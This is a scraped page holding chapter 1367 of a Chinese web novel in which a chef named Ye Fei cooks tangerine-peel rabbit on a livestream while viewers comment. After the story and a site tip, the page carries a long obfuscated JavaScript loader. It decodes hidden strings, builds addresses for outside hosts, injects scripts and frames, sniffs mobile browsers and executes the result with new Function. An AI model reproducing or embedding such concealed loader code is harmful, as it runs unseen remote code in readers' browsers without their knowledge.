第1367章(1 / 2)

陈皮用温水泡发之后,用刀切成小方块,放在一个小碗中备用。

然后叶飞将洗好的姜拿了过来,切成片,剥了皮的蒜瓣也切成了片,这一点和叶飞以前用大蒜的时候稍微有点不一样,以前用大蒜的时候都是简单的切成块,或者是直接整个的用,切成片还是第一次。

最后将大葱切成葱段,然后用刀面稍微用力的拍打了一下,将其拍松之后放在一个盘子中备用。

这些都是准备工作,将所有用到的东西全都处理完之后,等到一会儿做的时候才能够更加方便。

叶飞将盛放兔丁的盆子拿了过来,往里面加入适量的精盐,然后将葱段适量和姜片适量放进去抓拌一下,这个抓拌叶飞还是很用力的,反反复复的抓拌了很多次,主要是要让精盐和兔丁混合均匀,另外就是尽量的将葱汁也给多抓出来一些,让其和兔肉均匀混合。

等到这一步完成,叶飞这才开始动锅。

将一个大号的炒锅放在炉灶上,然后里面放油,这一次叶飞放的油比较多,几乎大半锅,然后又拿过来一个大号的笊篱,直接将盆子里面的兔丁全都倒在了笊篱中。

得亏这个笊篱很大,要不然真的装不下这么多的兔丁,毕竟八只大兔子呢,那肉不是一点半点的。

叶飞右手握着笊篱的把子,眼睛盯着锅里面的油,道:“过兔丁的油温度不能低,要七八成左右,也就是二百度左右,OK,就是现在这个状态,我们将兔丁放进去炸一下,记住,炸的时候一定要注意火候,火候不能太大,否则兔丁炸老之后吃起来感觉会发硬,失去了兔肉本身应有的细嫩质感,那么有朋友会问,炸到什么状态才算好呢?很简单,看到兔丁变干成金黄色之后就停止,然后将其捞出来就可以。”

叶飞一边说着,手中笊篱已经放进了油锅里面,只是等到兔丁放入油锅里面之后,众人就发现锅里面的油突然冒出很多的油泡,然后不停的咕嘟咕嘟响,甚至油面都要从锅里面跳出来了一样,让很多人吓一哆嗦。

他们也见叶飞油炸过不少种食材了,还真的很少看到这种情况。

“卧槽,油要跳出来了。”

“炸锅了,叶神,快点跑,要炸锅了。”

“我的个心脏啊,那可是一锅油啊,如果全都溅出来的话,叶神,太危险了,别做了!”

“呃~~怎么搞的?难道叶神失误了?”

“楼上的,这种话我不希望听到第二遍,早就给你们说了,叶神是谁?可以说是美食界的瓢把子,怎么可能存在失误呢?油就应该是这样子的。”

“小伙子,追星要理智啊。”

“我呸!”

所有人全都有点着急,因为现场的情况看着真的太危险了。

京都鬼少嗷嗷叫道:“叶神,到底怎么回事?油快从锅里出来了。”

可是让众人感到意外的是叶飞还是站在锅的旁边认真的操作着,根本就无视锅里面油的情况,只是听到京都鬼少的话之后,叶飞笑了笑。

“放心,没问题的,可能有些朋友搞不明白这是怎么回事,毕竟刚才我们虽然放的油不少,可是还远远达不到要溢出来的程度,那么这是为什么呢?很简单,这和兔肉有关,兔肉中的水分含量相比于其它肉类要多,所以才会造成在油炸的时候出现这种情况,不过大家尽管放心,如果有危险的话我会第一个跑掉的。”

说完,叶飞还朝着电脑调皮的眨巴眨巴眼睛,这直接让观众无语了,遇到危险你会第一个跑掉的,你可真好意思说出来啊,要知道这一期可是还有二十个老人的啊,你就不能先让老人跑吗?

不过众人也全都知道叶飞是在故意说笑,毕竟刚才的事情搞得直播间的气氛现在还有点诡异呢,现在让叶飞这么一说,很多人都乐了起来,气氛开始有所回缓。

没多久,锅里面兔丁的表面水分已经被炸干了,颜色也开始变成了金黄色,叶飞这才将这些兔丁给捞了出来,再次放在了盆里面。

将锅里面的油倒掉大部分,只留了少许的底油而已,将干辣椒和花椒放进去爆炒一下,然后将陈皮也放了进去炒一会儿,将葱姜蒜放进去爆香,加入料酒,酱油和几勺鲜汤。

等到汤汁稍微烧开的时候,将炸过的兔丁放了进去,稍微的炒煮了一下之后,放入精盐,白砂糖,醋和胡椒粉,然后大火收汁。

等到汁变的浓稠之后,叶飞往里面稍微的加了一点点的辣椒油和适量的芝麻油,然后翻炒几下之后直接将炉火关上。

没错,这道美食做到这个地步就已经完成了,剩下的就是装盘。

八个大盘子,叶飞一字排开放在台子上,然后众人就看到叶飞左手直接将大号的炒锅端了起来。

这一下还真让很多人吃了一惊,因为所有人都知道别说八只肥硕的兔子还在锅里面了,单单是那口大号的铁炒锅就足足能有十斤左右,而那八只肥硕的兔子每一只至少也有四五斤左右,就算是除去皮毛和内脏,那玩意也有三斤左右,八只就是二十四五斤,再加上铁锅的重量,那就是三十四五斤!

没错,这个重量如果是正常来说的话算不上多沉,凡是一个成年人都可以拿起来,但是,别忘了叶飞现在是怎么拿的,他可是一只手直接端起来的。

这就有点不敢想象了,说一个最简单的例子,一根二十斤两米长的铁棍,如果说让你拿着中间的话,很多人都能够拿起来,但是如果让你一只手抓着一头将它给平举起来的话,那就不是一点半点的难了,可以说很多人都不容易做到。

而现在叶飞就做到了,他的左手直接平端起了炒锅,手腕没有丝毫的颤抖,他从第一个盘子开始,往里面盛放陈皮兔肉,一直到最后一个盘子正好装完,每一个盘子里面的分量完全相同。

所有人全都看的有点发呆了,他们这个时候才知道叶飞别看并不是很强壮,但是那手腕上的力气绝对恐怖的令人发指。

叶飞将八个盘子盛好之后,技能上线,所有人顷刻间闻到的香气更加浓郁了,很多人都忍不住的凶猛的吸着鼻子,似乎要将自己周围的空气全都给一口气吸到肚子里一样。

人们贪婪的闻着味道,所有人的都感觉这道美食根本不用吃,单单闻味道就已经让人把持不住了。

“叶神越来越过分了,怎么搞的这美食越来越让我无法抵抗了呢?”

“卧槽,兔肉真的太香了,你们闻到了吗?有好几种香气呢。”

“微辣,花椒的香气也非常浓郁,关键是兔肉的香气让人根本就无法拒绝,如果这道美食放在我的眼前,我可能会直接失控。”

“真的不知道这样的兔肉吃到嘴里面是一种什么样的感觉,或许给个神仙也不会换。”

“你们看那些兔肉的色泽,刚才被炸的金黄一片,现在经过汤汁的浸染之后,却又变成了淡淡的枣红色,这特么的看着就养眼啊。”

“色香味形器,叶神的每一道美食都将这五个要点给阐释的淋漓尽致,这才是大师风范。”

所有人全都被八盘陈皮兔肉给诱惑的不行了,甚至很多人的口水都不自觉的哗哗的流了出来。

其实,真正感到崩溃的是直播现场的一群嘉宾,不管是地球嘉宾还是星际嘉宾,可以说此时全都有点顶不住了,因为这道美食虽然没有什么具体的形态,只是一盘盘似乎很大众化的炒菜而已,但是从这几盘菜里面所散发出来的香气真的太令人感到绝望了。

没错,那就是一种令人绝望的香气,因为闻到这种香气之后,很多人在这一刻脑海中已经没有了其它任何的美食,满脑子所想的全都是这盘陈皮兔肉,满脑子盘旋的全都是这几盘陈皮兔肉,甚至有些人就好像着了魔一样,眼睛都有点发红了。

如果说上一盘的二龙戏珠是以形取胜的话,那这道陈皮兔肉完完全全的就是以味取胜的,因为它没有让人眼花缭乱的外形,盘子也是一般的青花瓷盘,搭配也只是在兔肉中多了红辣椒而已,可以说整道菜看起来真的平淡无奇。

但就是在这平淡无奇的外表之下,所有人都感受到了那种波澜壮阔的美食香味,那种香味就好像一望无际的大海将整个世界给淹没了一样,不管你跑到哪里不管你躲到哪里,你都无法逃脱掉被海水淹没的下场。

Tip:无需注册登录,“足迹” 会自动保存您的阅读记录。
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();